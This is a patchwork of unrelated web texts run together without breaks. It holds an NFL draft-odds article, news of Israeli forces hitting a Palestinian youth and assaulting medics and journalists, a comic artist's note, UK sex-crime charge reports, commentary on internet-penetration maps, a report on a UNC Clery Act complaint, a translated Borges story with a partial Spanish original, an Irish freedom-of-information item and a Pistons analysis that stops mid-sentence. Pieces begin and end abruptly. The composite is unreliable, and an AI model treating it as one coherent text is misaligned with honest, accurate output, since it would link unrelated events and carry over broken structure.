NationalFootballPost compiled data from 1995-2014 to determine career length, rookie starts, Pro Bowl selections and other factors. The average career length of a player taken No. 15 overall - Corey Coleman - is 6.66 years. A team gets 4.64 starter years and 69.7 games started from that player. On average, the player has a 26.5-percent chance to earn one Pro Bowl selection or more. There is a 9.5-percent chance that he makes it to three Pro Bowls or more. There is a 14-percent chance that Coleman will earn one All-Pro selection or more over the course of his career. Finally, there is a 2.5-percent chance that he earns three All-Pro selections or more. Each of the fourteen players taken before the Baylor product have higher odds of being successful in each category. The numbers decrease from there forward.
Fans can apply the chart to the other thirteen draft choices: OLB Emmanuel Ogbah (No. 32), OT Shon Coleman (No. 76), QB Cody Kessler (No. 93), LB Joe Schobert (No. 99), WR Ricardo Louis (No. 114), DB Derrick Kindred (No. 129), TE Seth Devalve (No. 138), WR Jordan Payton (No. 154), OL Spencer Drango (No. 168), WR Rashard Higgins (No. 172), CB Trey Caldwell (No. 173) and LB Scooby Wright III (No. 250).
RELATED: Reviewing the 2016 Browns Draft class
From 2005-2014, 2,465 players were drafted. Of those, 629 players were starters for at least half of their careers. The first-round (Coleman) has a 58-percent success rate. The fourth-round (Louis) has a 12-percent success rate. The fifth-round (Payton, Higgins) has a 16-percent success rate according to a report.
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In regards to linebackers, the second-round (Ogbah) has a 55-percent success rate. The fourth-round (Schobert) has a 16-percent success rate while the seventh-round (Wright) has a 2-percent success rate.
When it comes to defensive backs, the fourth-round (Kindred) has an 11-percent success rate. The fifth-round (Caldwell) has an 8-percent success rate.
The Browns drafted two offensive linemen. A player taken in the third-round, Coleman, has a 40-percent chance of being successful. The fifth-round (Drango) has a 16-percent success rate.
An Israeli military jeep was captured on video moving at speed at a group of Palestinian protesters, hitting one youth.
When medics attempt to reach the youth, Israeli soldiers pushed them back and sprayed their faces with pepper, then assaulted several journalists in the area as they attempted to film the clashes.
“An Israeli officer attacked our staff directly without any warning,” Diya Housheya, a reporter with Alghad Alarabi TV, said. “He didn't ask us to stay away. At the beginning he beat us directly and then he sprayed pepper gas in our faces.
“Our job as journalists is to convey the news and cover what is happening here in the West Bank, we have become the news. No one here survives the Israeli attacks.”
Bassam Huraish, a medic who was the first to reach the injured youth, said: “When I arrived an Israeli soldier hit me on the neck, but despite the hurt I continued my way to aid the boy but the Israeli border police officer sprayed me with pepper and I couldn't see anything.”
A spokesperson for the Palestinian Red Crescent Society, Erab Fuqaha, told MEE that since the beginning of October when the latest round of attacks by Israeli forces against Palestinians began it had documented 228 attacks against its teams and ambulances, in which 116 emergency medical technicians (EMTs) were wounded and around 56 ambulances were damaged.
There were also 56 cases in which Red Crescent ambulances were hindered and prevented from reaching wounded Palestinians, the spokesperson said.
The Foreign Press Association released a statement condemning Friday’s attack, saying: “This sort of behaviour by the border police is both abusive and a gross violation of press freedom, and yet it has become all too common, raising serious concerns about their ability to control their actions.
“Despite repeated attempts by the Foreign Press Association to meet with commanders to discuss the situation, there has been no response from the Border Police or the Defense Ministry. This ignoring of the problem cannot continue. Video footage of past incidents has shown Israel's security forces to be the protagonist in several cases, suggesting a systemic problem.”
Israeli forces fired tear gas, metal and live bullets during the clashes, and dozens of Palestinians were injured on the same day.
I finally got this done! I wrote the script for this about a month ago, when I posted the Groudon’s Farewell comic. Reddit user AOMRocks20 made a comment that induced a bit of feels and inspired me to write the script for this.
I had been working on this off and on, slowly progressing until now. I actually wound up scrapping some layers that were originally going to be the finalized version because my style had changed waaaay too much. Heck, take a look at the original first panel here! What a change just 2-3 weeks can make!
Also, shout out to Reddit User FruityParfait for the image that inspired the design of the photo that’s on Kenya’s desk (which was based off our first group photo in our HG run). I know she went with Werewolf Aoi, but I wanted to keep consistent with my version of Aoi (former wild child) =P
Following a ‘milestone’ operation by Northumbria Police, 20 suspects appeared in court to face charges including rape, sexual assault and sex trafficking.
The alleged offences involved 12 victims, including one girl who was aged just 13, with officers vowing to continue their investigation into the abuse of vulnerable children.
Dozens of men were yesterday charged with a wide range of sex crimes against vulnerable girls after two separate police investigations
In a separate case, 25 men from Halifax, West Yorkshire, were charged with a number of historic and child-related sex offences.
Almost all of the men in both cases are from Asian backgrounds, prompting police leading one of the cases to warn that far-Right groups may use the issue to stir up racial tension.
Northumbria Police launched Operation Sanctuary when two women walked into a police station 13 months ago and made a number of allegations.
A total of 31 suspects have already been charged as part of the operation.
The victims associated with the latest charges are aged between 13 and 25.
The accused men appeared at Bedlington magistrates’ court yesterday to be charged with a long list of offences including arranging child prostitution, false imprisonment andsupplying Class A drugs.
China, of course, dominates both. But what is interesting in comparing the two is how outsized Europe and South Korea are in the Internet population map, captured in their darker shading. In fact, all but four of the countries with more than 80 percent of their populations online are in Europe: South Korea, New Zealand, Qatar, and Canada. Together with much of Europe, these are the parts of the world that have gotten the vast majorities of their people online the fastest.
Mark Graham and Stefano De Sabbata, the creators of the top map (and also of the “Internet Empires” map from last week), highlight two additional trends:
First, the rise of Asia as the main contributor to the world’s Internet population; 42% of the world’s Internet users live in Asia, and China, India, and Japan alone host more Internet users than Europe and North America combined. Second, few of the world’s largest Internet countries fall into the top category (>80%) of Internet penetration (and indeed India falls into the lowest category, at <20% penetration). In other words, in all of the world’s largest Internet nations, there is still substantial room for growth.
They also note that although many African countries appear relatively very small on the Internet penetration map, many of these countries have experienced the fastest growth since their last such map, from 2008, when they didn't even appear:
Graham and De Sabbata write:
In the last three years, almost all North African countries doubled their population of Internet users (Algeria being a notable exception). Kenya, Nigeria, and South Africa, also saw massive growth. However, it remains that over half of Sub-Saharan African countries have an Internet penetration of less than 10%, and have seen very little grow in recent years.
Sauls, Strohm and Simmons did not respond to calls and emails requesting comment.
“I want to assure you that the University takes the issue of sexual assault very seriously, and we are all working together to make sure that our process for handling these cases is fair, effective and supportive,” Crisp wrote.
Threats and retaliation
Manning joined the University, which she attended as an undergraduate and law student, in 2001 as assistant dean of students. Much of her work focused on training programs for those involved with the system used for reporting sexual assault.
Manning declined to comment Thursday on the complaint’s allegations.
According to the complaint, in 2006, the year Sauls was hired as judicial programs officer, all language requiring sexual assault training for judicial boards disappeared.
The complaint states that in 2010, Manning began to encounter a hostile environment within her own office and the University’s upper administration — an environment that only grew increasingly aggressive during the remainder of her time at UNC.
According to the complaint, in 2010, when Crisp was promoted from dean of students to vice chancellor for student affairs, Manning met with Crisp to ask him about applying for the vacant dean of students position.
“Vice Chancellor Crisp told her that he would ‘never hire her because she had a young child at home’ and what that could mean,” according to the complaint, which cites the action as a violation of Title VII of the Civil Rights Act of 1964, which prohibits discrimination on the basis of gender.
Sauls was hired for the position.
For the next two years, the complaint states, Manning endured persistent hostility from Sauls, her direct superior, who lashed out at her with threats, retaliation and silence — a stressful combination that eventually affected her health, according to the complaint. The document claims this hostility violated Title IX’s guarantee to an equal opportunity work environment.
On separate occasions, Sauls reprimanded Manning for reaching out to Chancellor Holden Thorp and the Office for Civil Rights regarding UNC’s handling of sexual assault, the complaint states.
“She was told by Dean Sauls that she should ‘never contact the Office for Civil Rights again,’” the complaint says.
The complaint also states Sauls told Manning she would suffer consequences for writing to Thorp. Though at the time Sauls did not specify what the consequences would be, the complaint says he later rated her as “needs improvement” in her annual review and told her that others had suggested he fire her.
The complaint then details how Manning felt isolated by Sauls. He initiated and then canceled eight separate meetings with Manning and often failed to respond to her emails, according to the complaint.
The document also states that at points, Sauls made Manning uncomfortable and scared.
“Sauls balled one of his hands into a tight fist on the small table that he and Manning were sharing,” according to the document. “This action made Manning feel fearful for her safety, and she therefore decided to end the meeting.”
But Manning’s mistreatment extended beyond Sauls, according to the complaint.
Manning eventually reached out to Crisp to express her concern that she was being retaliated against by Sauls. Crisp told Manning that filing a grievance against him would only “go badly” for her, according to the complaint.
When the retaliation was eventually investigated, Manning was told that the University found no evidence of retaliation or bullying behavior from Sauls, according to the complaint.
After Manning resigned at the end of the fall semester, she learned that Sauls had tried to persuade one person who was interviewed to change her testimony for the investigation, the document states.
‘Too high’
According to the complaint, in 2011, the University Counsel’s office pressured Manning to underreport cases of sexual assault for 2010 to the federal government.
The Clery Act requires campuses to disclose crime statistics to the federal government each year.
“(Manning) was told by a member of University Counsel staff that the ‘number of reports was too high’ and she was asked to ‘look over the numbers again,’” the complaint states. “For two weeks, she received multiple phone calls from various members of University Counsel staff asking her to ‘make sure that her numbers were correct.’”
The number of sexual assaults that appeared in that year’s Clery report was three lower than the number Manning submitted to the Office of University Counsel, the document states.
The University reported six incidents of forcible sex offenses on campus for 2009, 19 for 2010, the year for which Manning was asked to compile statistics, and 12 for 2011.
The maximum fine for violating the act is $35,000 per incident.
Frank LoMonte, executive director of the Student Press Law Center, said the accuracy of numbers reported through the Clery Act is a national issue.
“Nationally, there’s no question that Clery Act crime statistics all across the board look suspiciously low,” he said. “I would say it’s rare that you see direct evidence that people intentionally manipulate the numbers. And these are just accusations, obviously.”
“The fact is there’s enough confusion and misunderstanding about how Clery works that you’re never certain whether the understatement is intentional or accidental,” he added.
“I tend to suspect it’s intentional because it’s not all that confusing.”
LoMonte said one can only remove a case from Clery Act statistics if it is found to be completely unfounded.
“If it’s not entirely unfounded, then you have to count it, even if it doesn’t result in any punishment,” he said.
Jim Bradshaw, spokesman for the Office for Civil Rights, wrote in an email Thursday that the office had received the complaint and was working to determine whether it warranted an investigation.
There’s no established timeline set out for complaint investigations, LoMonte said.
“It’s conceivable that it could hang out there for even a matter of a couple of years.”
And now, below, we have the original text and another of my own translations of a Borges work, this time The Gospel according to Mark, or El Evangelio según Marcos.
The Gospel according to Mark (translated from the Spanish) by Jorge Luis Borges
These events took place on the Los Álamos cattle ranch, towards the south of the township of Junín, during the final days of March, 1928. The protagonist was a medical student, Baltasar Espinosa. We may describe him for now as no different to any of the many young men of Buenos Aires, with no particular traits worthy of note other than an almost unlimited kindness and an oratorical faculty that had earned him several prizes from the English school in Ramos Mejía. He did not like to argue; he preferred it when his interlocutor was right and not he himself. Although the vagaries of chance in any game fascinated him, he played them poorly because it did not please him to win. His wide intelligence was undirected; at thirty-three years of age, the completion of one last subject stood in the way of his graduation, despite its being his favourite. His father, who was, like all gentlemen of his day, a freethinker, had instructed him in the doctrines of Herbert Spencer, but his mother, before setting out on a trip to Montevideo, requested of him that every night he say the Lord’s Prayer and make the sign of the cross. Over the years, not once had he broken this promise.
He did not lack in courage; one morning he had traded, more out of indifference rather than wrath, two or three blows with a group of fellow students who were trying to force him into taking part in a university demonstration. He abounded in questionable opinions, or habits of mind, from a spirit of acquiescence: his country mattered less to him than the risk that in other parts they might believe that we continue to wear feathers like the Indians; he venerated France but despised the French; he had little respect for Americans, but he approved of there being skyscrapers in Buenos Aires; he thought that the gauchos of the plains were better horsemen than those of the hills or mountain ranges. When his cousin Daniel invited him to summer in Los Álamos, he accepted immediately, not so much because he liked the country, but more out of his natural geniality and his not having found a valid reason for saying no.
The ranch’s main house was large and somewhat run-down; the foreman, who was known as Gutre, had his quarters close by. The Gutres were three: the father, the son (who was particularly uncouth) and a girl of uncertain paternity. They were tall, strong and bony, with Indian features about the face and hair that tinged red. They hardly spoke. The foreman’s wife had died years ago.
In the country, Espinosa was learning things that he had not known, nor suspected. For example, one need not gallop when approaching a house, and no one goes out riding a horse unless there is a job to be done. In time, he would come to distinguish the birds by their calls.
Early on, Daniel had to absent himself and leave for the capital in order to close a deal involving some livestock. In all, the business would take him about a week. Espinosa, who was already a little tired of hearing about his cousin’s good fortune with women and his tireless interest in the variations of men’s fashion, preferred to remain on the ranch with his textbooks. The heat was suffocating and not even the night brought relief. One morning at daybreak, thunder woke him. The wind was rocking the casuarinas. Espinosa heard the first drops of rain and gave thanks to God. All of a sudden, the cold air rolled in. That afternoon, the Salado overflowed.
The next day, as he was looking over the flooded fields from his porch, Baltasar Espinosa thought that the standard metaphor which compared the pampas with the sea was not, at least that morning, completely false, even though Hudson had noted that the sea appears to us much wider because we see it from a ship’s deck and not from horseback or eye level. The rain did not let up; the Gutres, helped or hindered by the city dweller, saved a good part of the livestock, though many animals drowned. The paths that led to the station were four: all were covered in water. On the third day, a leaking roof threatened the foreman’s house and Espinosa gave them a room out back by the toolshed. The move had brought them closer; they ate together in the large dining room. Conversation was difficult; the Gutres, who knew so much about the country, did not know how to explain any of it. One night, Espinosa asked them if people still retained some memory of the Indian raids from when the frontier’s military command was in Junín. They told him that they did, but they would have answered in a similar fashion had the question been about Charles the First’s beheading. Espinosa recalled his father’s saying that almost all the cases of longevity cited from the country are a result of poor memory or a vague notion of dates. The gauchos tended to forget in equal measure the year of their birth and the name of who fathered them.
No reading material was to be found in the entire house other than some issues of the magazine The Farm, a veterinary manual, a deluxe edition of the Uruguayan epic Tabaré, a History of Shorthorn Cattle in Argentina, the odd erotic or detective story and a recent novel, Don Segundo Sombra. In order to liven up in some way the inevitable after-dinner conversation, Espinosa read a couple of the novel’s chapters to the Gutres, who were all illiterate. Unfortunately the foreman, like the book’s hero, had been a cattle drover himself and was not interested in the happenings of another. He said the work was easy, that they took with them a pack mule which carried all that they needed, and that if he had not been a cattle drover, he would never have seen Lake Gómez, nor would he have gotten to the town of Bragado, nor would he have visited the Núñez ranch in Chacabuco. In the kitchen was a guitar; before the events I am narrating happened, the labourers would sit in a circle and someone would tune the instrument without ever getting around to playing it. This they called a guitar jam.
Espinosa, who had let his beard grow, had begun to pause before the mirror to study his changed face, and he smiled at the thought of boring the boys in Buenos Aires with his tale of the Salado’s overflowing. Curiously, he was missing places to which he had never been and would never go: a street corner on Cabrera where a mailbox stood; some cement lions on a porch a few blocks from the Plaza del Once on Jujuy; a barroom with a tiled floor whose exact whereabouts he was not sure of. As for his brothers and his father, through Daniel they would have learnt already that he was isolated — the word, etymologically, was accurate — by the floodwaters.
Looking through the house whilst still hemmed in by the waters, he came across a Bible in English. In its final pages, the Guthries — their original name — had left a record of their family history. They were originally from Inverness, had come to the New World, no doubt as labourers, in the early days of the nineteenth century and had intermarried with Indians. The chronicle broke off sometime during the eighteen-seventies when they no longer knew how to write. Within only a few generations, they had forgotten their English; by the time Espinosa met them, even Spanish was troubling them. They had no faith, but in their blood there endured, like a dim current, the harsh fanaticism of the Calvinists and the superstitions of the pampas. Espinosa told them of his find and they barely acknowledged it.
Leafing through the volume, his fingers opened it at the start of the Gospel according to Mark. As an exercise in translation and perhaps to see if the Gutres would understand any of it, he decided to read to them the text after dinner. Their attentive listening and their mute interest surprised him. Maybe the gold letters on the the cover lent the book more authority. ‘It’s in their blood,’ Espinosa thought. It also occurred to him that man has throughout history told and retold two stories: that of a lost ship that searches the seas of the Mediterranean for a dearly loved island, and that of a god who allows himself to be crucified in Golgotha. Remembering his elocution classes in Ramos Mejía, Espinosa rose to his feet to preach the parables.
In the days that followed, the Gutres wolfed down the barbecued meat and sardines so as to arrive sooner at the Gospel.
A little pet lamb that the girl had adorned with a sky-blue ribbon had injured itself on some barbed wire. To staunch the bleeding, the Gutres were wanting to apply cobwebs; Espinosa treated it with some pills instead. The gratitude that this treatment inspired took him aback. At first, he distrusted the Gutres and had hidden in one of his books the two hundred and forty pesos that he had with him; now, with the owner away, he had taken on Daniel’s role and was giving timid orders that were being followed immediately. The Gutres would trail him through the rooms and along the porch as if they were lost without him. Whilst reading to them, he noticed that they would take away with them the crumbs that he had left on the table. One evening, he caught them unawares as they were, in few words, speaking of him respectfully.
Upon finishing the Gospel according to Mark, he wanted to read one of the three remaining gospels; the father, though, asked him to repeat the one he had already read to them so that they could understand it better. Espinosa felt that they were like children, who prefer repetition over variety or novelty. That night he dreamt, not altogether surprisingly, of the Flood and was awoken by the hammering that went into the Ark’s construction, which he supposed he had confused with the thunder. In fact, the rain, after having abated, was getting heavier. The cold was bitter. The Gutres had told him that the storm had damaged the toolshed’s roof and that, once they had repaired the beams, they would show him where. No longer a stranger, they treated him with special attention, almost spoiling him. Not one of them liked coffee, but they always had a little cup for him that they heaped with sugar.
The storm hit on a Tuesday. Thursday night he was awoken by a light knock on the door, which, because of his misgivings, he always kept locked. He got up and opened it: it was the girl. In the darkness he could not make her out, but he could tell from her footsteps that she was barefoot, and later in bed, that she had come naked from the back of the house. She did not embrace him, nor did she speak a single word; she lay beside him and shivered. It was the first time she had lain with a man. When she left, she did not kiss him; Espinosa realised he did not even know her name. For some sentimental reason that he did not attempt to understand, he swore never to tell anyone in Buenos Aires about the incident.
The next day began like the others before, except for the father’s speaking to Espinosa and asking him if Christ had allowed Himself to be killed in order to save all mankind. Espinosa, who was a freethinker but felt obliged to justify what he had read to them, replied, “Yes. To save us all from hell.”
Gutre then asked, “What’s hell?”
“A place underground where souls burn and burn.”
“And those that drove in the nails were also saved?”
“Yes,” replied Espinosa, whose theology was a little shaky.
He had feared that the foreman would demand an account of what had happened the night before with his daughter. After lunch, they asked him to read the last chapters again.
Espinosa took a long siesta, though his light sleep was interrupted by persistent hammering and vague premonitions. Toward evening he got up and went out to the porch. He said, as if thinking out loud, “The waters are low. It won’t be long now.”
“It won’t be long now,” repeated Gutre like an echo.
The three Gutres had been following him. Kneeling on the floor, they asked for his blessing. Then they cursed him, spat on him and shoved him to the back of the house. The girl was crying. Espinosa knew what to expect on the other side of the door. When they opened it, he saw the heavens. A bird shrieked. ‘A goldfinch,’ he thought. The shed was without a roof; they had torn out the beams to build the cross.
El Evangelio según Marcos por Jorge Luis Borges
El casco de la estancia era grande y un poco abandonado; las dependencias del capataz, que se llamaba Gutre, estaban muy cerca. Los Gutres eran tres: el padre, el hijo, que era singularmente tosco, y una muchacha de incierta paternidad. Eran altos, fuertes, huesudos, de pelo que tiraba a rojizo y de caras aindiadas. Casi no hablaban. La mujer del capataz había muerto hace años.
Espinosa, en el campo, fue aprendiendo cosas que no sabía y que no sospechaba. Por ejemplo, que no hay que galopar cuando uno se está acercando a las casas y que nadie sale a andar a caballo sino para cumplir con una tarea. Con el tiempo llegaría a distinguir los pájaros por el grito.
A los pocos días, Daniel tuvo que ausentarse a la capital para cerrar una operación de animales. A lo sumo, el negocio le tomaría una semana. Espinosa, que ya estaba un poco harto de las bonnes fortunes de su primo y de su infatigable interés por las variaciones de la sastrería, prefirió quedarse en la estancia, con sus libros de texto. El calor apretaba y ni siquiera la noche traía un alivio. En el alba, los truenos lo despertaron. El viento zamarreaba las casuarinas. Espinosa oyó las primeras gotas y dio gracias a Dios. El aire frío vino de golpe. Esa tarde, el Salado se desbordó.
Al otro día, Baltasar Espinosa, mirando desde la galería los campos anegados, pensó que la metáfora que equipara la pampa con el mar no era, por lo menos esa mañana, del todo falsa, aunque Hudson había dejado escrito que el mar nos parece más grande, porque lo vemos desde la cubierta del barco y no desde el caballo o desde nuestra altura. La lluvia no cejaba; los Gutres, ayudados o incomodados por el pueblero, salvaron buena parte de la hacienda, aunque hubo muchos animales ahogados. Los caminos para llegar a la estancia eran cuatro: a todos los cubrieron las aguas. Al tercer día, una gotera amenazó la casa del capataz; Espinosa les dio una habitación que quedaba en el fondo, al lado del galpón de las herramientas. La mudanza los fue acercando; comían juntos en el gran comedor. El diálogo resultaba difícil; los Gutres, que sabían tantas cosas en materia de campo, no sabían explicarlas. Una noche, Espinosa les preguntó si la gente guardaba algún recuerdo de los malones, cuando la comandancia estaba en Junín. Le dijeron que sí, pero lo mismo hubieran contestado a una pregunta sobre la ejecución de Carlos Primero. Espinosa recordó que su padre solía decir que casi todos los casos de longevidad que se dan en el campo son casos de mala memoria o de un concepto vago de las fechas. Los gauchos suelen ignorar por igual el año en que nacieron y el nombre de quien los engendró.
En toda la casa no había otros libros que una serie de la revista La Chacra, un manual de veterinaria, un ejemplar de lujo del Tabaré, una Historia del Shorthorn en la Argentina, unos cuantos relatos eróticos o policiales y una novela reciente: Don Segundo Sombra. Espinosa, para distraer de algún modo la sobremesa inevitable, leyó un par de capítulos a los Gutres, que eran analfabetos. Desgraciadamente, el capataz había sido tropero y no le podían importar las andanzas de otro. Dijo que ese trabajo era liviano, que llevaban siempre un carguero con todo lo que se precisa y que, de no haber sido tropero, no habría llegado nunca hasta la Laguna de Gómez, hasta el Bragado y hasta los campos de los Núñez, en Chacabuco. En la cocina había una guitarra; los peones, antes de los hechos que narro, se sentaban en rueda; alguien la templaba y no llegaba nunca a tocar. Esto se llamaba una guitarreada.
Espinosa, que se había dejado crecer la barba, solía demorarse ante el espejo para mirar su cara cambiada y sonreía al pensar que en Buenos Aires aburriría a los muchachos con el relato de la inundación del Salado. Curiosamente, extrañaba lugares a los que no iba nunca y no iría: una esquina de la calle Cabrera en la que hay un buzón, unos leones de mampostería en un portón de la calle Jujuy, a unas cuadras del Once, un almacén con piso de baldosa que no sabía muy bien dónde estaba. En cuanto a sus hermanos y a su padre, ya sabrían por Daniel que estaba aislado -la palabra, etimológicamente, era justa- por la creciente.
Explorando la casa, siempre cercada por las aguas, dio con una Biblia en inglés. En las páginas finales los Guthrie -tal era su nombre genuino- habían dejado escrita su historia. Eran oriundos de Inverness, habían arribado a este continente, sin duda como peones, a principios del siglo diecinueve, y se habían cruzado con indios. La crónica cesaba hacia mil ochocientos setenta y tantos; ya no sabían escribir. Al cabo de unas pocas generaciones habían olvidado el inglés; el castellano, cuando Espinosa los conoció, les daba trabajo. Carecían de fe, pero en su sangre perduraban, como rastros oscuros, el duro fanatismo del calvinista y las supersticiones del pampa. Espinosa les habló de su hallazgo y casi no escucharon.
Hojeó el volumen y sus dedos lo abrieron en el comienzo del Evangelio según Marcos. Para ejercitarse en la traducción y acaso para ver si entendían algo, decidió leerles ese texto después de la comida. Le sorprendió que lo escucharan con atención y luego con callado interés. Acaso la presencia de las letras de oro en la tapa le diera más autoridad. Lo llevan en la sangre, pensó. También se le ocurrió que los hombres, a lo largo del tiempo, han repetido siempre dos historias: la de un bajel perdido que busca por los mares mediterráneos una isla querida, y la de un dios que se hace crucificar en el Gólgota. Recordó las clases de elocución en Ramos Mejía y se ponía de pie para predicar las parábolas.
Los Gutres despachaban la carne asada y las sardinas para no demorar el Evangelio.
Una corderita que la muchacha mimaba y adornaba con una cintita celeste se lastimó con un alambrado de púa. Para parar la sangre, querían ponerle una telaraña; Espinosa la curó con unas pastillas. La gratitud que esa curación despertó no dejó de asombrarlo. Al principio, había desconfiado de los Gutres y había escondido en uno de sus libros los doscientos cuarenta pesos que llevaba consigo; ahora, ausente el patrón, él había tomado su lugar y daba órdenes tímidas, que eran inmediatamente acatadas. Los Gutres lo seguían por las piezas y por el corredor, como si anduvieran perdidos. Mientras leía, notó que le retiraban las migas que él había dejado sobre la mesa. Una tarde los sorprendió hablando de él con respeto y pocas palabras. Concluido el Evangelio según Marcos, quiso leer otro de los tres que faltaban; el padre le pidió que repitiera el que ya había leído, para entenderlo bien. Espinosa sintió que eran como niños, a quienes la repetición les agrada más que la variación o la novedad. Una noche soñó con el Diluvio, lo cual no es de extrañar; los martillazos de la fabricación del arca lo despertaron y pensó que acaso eran truenos. En efecto, la lluvia, que había amainado, volvió a recrudecer. El frío era intenso. Le dijeron que el temporal había roto el techo del galpón de las herramientas y que iban a mostrárselo cuando estuvieran arregladas las vigas. Ya no era un forastero y todos lo trataban con atención y casi lo mimaban. A ninguno le gustaba el café, pero había siempre un tacita para él, que colmaban de azúcar.
El temporal ocurrió un martes. El jueves a la noche lo recordó un golpecito suave en la puerta que, por las dudas, él siempre cerraba con llave. Se levantó y abrió: era la muchacha. En la oscuridad no la vio, pero por los pasos notó que estaba descalza y después, en el lecho, que había venido desde el fondo, desnuda. No lo abrazó, no dijo una sola palabra; se tendió junto a él y estaba temblando. Era la primera vez que conocía a un hombre. Cuando se fue, no le dio un beso; Espinosa pensó que ni siquiera sabía cómo se llamaba. Urgido por una íntima razón que no trató de averiguar, juró que en Buenos Aires no le contaría a nadie esa historia.
El día siguiente comenzó como los anteriores, salvo que el padre habló con Espinosa y le preguntó si Cristo se dejó matar para salvar a todos los hombres. Espinosa, que era librepensador pero que se vio obligado a justificar lo que les había leído, le contestó:
-Sí. Para salvar a todos del infierno.
Gutre le dijo entonces:
-¿Qué es el infierno?
-Un lugar bajo tierra donde las ánimas arderán y arderán.
-¿Y también se salvaron los que le clavaron los clavos?
-Sí -replicó Espinosa, cuya teología era incierta.
Había temido que el capataz le exigiera cuentas de lo ocurrido anoche con su hija. Después del almuerzo, le pidieron que releyera los últimos capítulos. Espinosa durmió una siesta larga, un leve sueño interrumpido por persistentes martillos y por vagas premoniciones. Hacia el atardecer se levantó y salió al corredor. Dijo como si pensara en voz alta:
-Las aguas están bajas. Ya falta poco.
-Ya falta poco -repitió Gutrel, como un eco.
Here’s a report from the Sunday Times on 24th January.
Blogger gets big discount on the price of freedom Hats off to Gavin Sheridan, the blogger who has embarrassed the Moriarty tribunal into posting all the transcripts of 370 days of public sittings on the internet. Sheridan first applied for the transcripts to the Department of An Taoiseach, under Freedom of Information. It refused on the basis that they can be purchased from Doyle Court Reporters. Doyles quoted a fee of €16,600 with a discount of 25% for anyone bulk buying. “I did suggest that since the public had already paid nearly €1 million for the transcripts, it seemed a little odd that I, as a citizen, have to fork out another €16,600 to get copies.” Sheridan writes on thestorey.ie. Talk to the Moriarty tribunal, it suggested. So he did, and they said copyright rested with Doyles. They later relented, offering Sheridan a disc with the transcripts, but such was the volume of requests that the tribunal is now posting everything online. A small, but significant victory for freedom of information.
Some questions that come to mind.
This is Stan Van Gundy's dream.
When the mustachioed coach accepted an offer to both run the show for the Detroit Pistons and serve as the president of basketball operations two summers ago, it was a chance for him to bring the Orlando Magic model with him to the Motor City. Just as he once surrounded Dwight Howard with a bevy of shooters, he decided to treat Andre Drummond as his new team's centerpiece.
Now in Year 2 of his tenure with the Pistons, Van Gundy has the system he desires firmly in place. The offseason was spent acquiring forwards who could shoot—Ersan Ilyasova, Marcus Morris and Stanley Johnson, most notably—and the results have been palpable during the 2-0 start to Detroit's 2015-16 campaign. Shockingly, it's the first time in six years this team has been two games over .500, as noted by NBA.com's Noah Trister.
But the Pistons haven't just thrived because of their four-out, one-in replica of those old Magic teams. They've also seen Reggie Jackson pick up where he left off during the second half of last season, which is equally positive news.
Taking Advantage of a New Situation
Van Gundy acquired the dynamic guard via a midseason trade in 2014-15, and though it took Jackson a few games to settle in with his new teammates, he exploded once he got comfortable. All of a sudden, he wasn't always looking for his own shot and started playing at an All-Star level:
Reggie Jackson's Tale of Two Seasons in 2014-15 Team PPG RPG APG TS% PER Oklahoma City Thunder 12.8 4.0 4.3 51.1 15.6 Detroit Pistons 17.6 4.7 9.2 51.1 19.8 Basketball-Reference.com
The scoring ability wasn't what changed. Jackson kept his head up and realized he was being asked to function as the leader of an offense, not just a secondary scorer alongside superstars such as Russell Westbrook.
Though he's recorded only nine assists during his first two outings in 2015-16, the confidence is still there. He's playing with loads of conviction and controlling the pace of games, probing a defense in isolation at the start of most sets but willingly shifting into a secondary action when an efficient look isn't there.
The word "forcing" now appears to be a rapidly disappearing part of his DNA.
Allen Einstein/Getty Images
In a big win over the Atlanta Hawks to open the season, Jackson recorded 15 points, eight rebounds and five dimes while taking only 10 shots from the field. He followed that up with a performance against the suffocating Utah Jazz defense that resulted in 19 points, two boards and four assists—this time going 7-of-14 from the field.
Much of the difference has stemmed from the Pistons system, as it's giving him plenty of space to take advantage of his immense driving ability. For a perfect example, just take a gander at this and-1 floater he drained in the second quarter against Utah:
Not only did Jackson execute the pick-and-roll perfectly with Drummond, tossing up a deft floater to finish the play, but he demonstrated what the Pistons can do with so many floor-spacers on the court.
Thanks to the presences of Stanley Johnson, Marcus Morris and Kentavious Caldwell-Pope, the entire Utah defense was spread out and left defending the perimeter. Mind you, this is a Quin Snyder defense he was working against—a unit that prides itself on protecting the rim and packing the paint with big, lanky defenders. It knew that Jackson not only can find an open shooter if someone collapses to help, but that these days, he will make the proper pass in that situation.
This is an entirely different look than what was happening during the 2014-15 campaign, even though Jackson was successful as a stat-hoarding individual. Just look at how many more Washington Wizards defenders challenged him on this pick-and-roll with Drummond:
That's the difference having shooters can make.
Unfortunately, the Pistons lost a key one in Jodie Meeks, who suffered a Jones fracture against the Jazz, according to Aaron McMann of MLive.com. That will further thin out a bench that has already been struggling. But they're still brimming over with players who can drain shots from the perimeter, and we've already seen the impact that can have on Jackson's game.
Drummond Dominating the Glass
As Bleacher Report's Joel Cordes noted below, their presence also aids Drummond, who can spend more time around the painted area, seeking out offensive rebounds, put-back opportunities and possessions where he attempts to use some developing—but still very limited—back-to-the-basket moves.
Having space around an interior player such as this 22-year-old big man is of paramount importance, and he's had more than ever during the early going.
Drummond hasn't been particularly efficient from the field through his first two appearances, but he's overpowering opponents and forcing them into foul trouble, averaging 10.5 free-throw attempts per game thus far. And in a shocking development for a player coming off a season in which he made only 38.9 percent of his freebies, he's knocked down two-thirds of those tries.
The thing is, the center doesn't even have to score in order to have a big season. He's posted 18 points in each of his two opening outings, but that's basically gravy to the Pistons. Drummond is a developing defensive presence and will also suck a defense in, since teams need a body on him at all times.
Leave him alone, and he'll corral every carom imaginable. Of course, that's rather problematic when the shooters are also spreading out a defense and forcing the opposition into only throwing a single box-out at him.
Allen Einstein/Getty Images
"When it comes to rebounding, whoa," legendary center Dikembe Mutombo told Detroit Bad Boys' Packey after watching Drummond record 19 boards in the season-opening victory over the Hawks. "He surprised me. I was like, 'Who is that kid?' To see a talented young man going after the loose ball like that? If he can stay hungry...he's going to be good. He needs to stay hungry."
An offensive rebound is always a great result, simply because it creates another possession for a team that just drew iron. But Drummond's have been particularly important to the Detroit cause because they've led to such easy points.
In two games, he's recorded a staggering 10 of them, and the majority have been directly followed by beneficial results:
